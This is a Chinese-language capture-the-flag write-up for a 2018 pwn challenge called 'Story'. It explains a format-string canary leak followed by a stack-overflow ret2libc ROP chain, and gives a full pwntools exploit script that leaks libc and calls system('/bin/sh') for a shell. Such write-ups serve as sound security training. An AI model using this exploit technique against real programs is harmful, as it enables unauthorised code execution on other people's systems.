Story

西湖论剑2018 Stack_overflow ROP

分析

首先,判断程序的保护。发现栈上有Canary,尝试泄露。

**第一个洞:格式化字符串。**在静态分析中看到格式化字符串,尝试通过格式化字符串进行泄露。通过搭配gdb,确定Canary的位置(64位的优先级与32位不同,64位会优先考虑6个寄存器,随后再对栈进行考虑。)为第23个参数,因此通过 %23$p 泄露Canary的位置。

**第二个洞:栈溢出。**在输入“输入字符串长度”之后,如果申请的空间小于128,会自动给开1024大小。然后读取字符串到s中,而s在栈中的位置为0x90,因此通过构造字符串可触发栈溢出。而之前通过格式化字符串获取到了Canary的大小,可以在这里用到。

因此,我们需要覆盖 $$ 0x90-0x8=0x88 $$ 个A至Canary,然后将之前泄露的Canary值覆盖至此,然后通过8个字符A覆盖返回值,之后即可控制下一步执行的函数。

通过ROPgadget找到其中的ROP关键字

pop rdi ; ret

来将函数参数入寄存器。

通过调用put函数将got表中的put输出,即可获取put的实际位置,从而计算出libc的偏移。在触发之后,通过ret到main函数地址来重新触发栈溢出,通过偏移计算出system和/bin/sh的地址,获取权限。

EXP

import pwn
from pwn import *

p = process('./story')
#p = remote('ctf3.linkedbyx.com',11375)
context.log_level = 'debug'
context.endian = 'little'

elf = ELF('./story')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

payload1 = '%23$p'
payload2 = '-1024'

puts_plt = elf.symbols["puts"]
puts_got = elf.got["puts"]
start_main = 0x400876
rdi = 0x400bd3 #pop rdi ; ret

p.recvuntil("Please Tell Your ID:")
p.sendline(payload1)
p.recvuntil("Hello ")
canary = int(p.recvuntil("\n"),16)
print hex(canary)
print hex(puts_plt)
print hex(puts_got)
print hex(rdi)

p.recvuntil("Tell me the size of your story:\n")
p.sendline(payload2)

p.recvuntil("You can speak your story:\n")

payload3 = "A" * 136
payload3 += p64(canary)
payload3 += "A" * 8
payload3 += p64(rdi)
payload3 += p64(puts_got)
payload3 += p64(puts_plt) 
payload3 += p64(start_main)

p.sendline(payload3)


data =  p.recvuntil("\n", drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
print puts

system_addr = puts-libc.symbols["puts"]+libc.symbols["system"]

print hex(system_addr)

p.recvuntil("Please Tell Your ID:")
p.sendline(payload1)

p.recvuntil("Tell me the size of your story:\n")
p.sendline(payload2)

binsh = next(libc.search('/bin/sh'))
binsh_addr = puts-libc.symbols["puts"]+binsh
print hex(binsh_addr)
payload4 = "A" * 136
payload4 += p64(canary)
payload4 += "A" * 8
payload4 += p64(rdi)
payload4 += p64(binsh_addr)
payload4 += p64(system_addr)

p.recvuntil("You can speak your story:\n")
p.sendline(payload4)


p.interactive()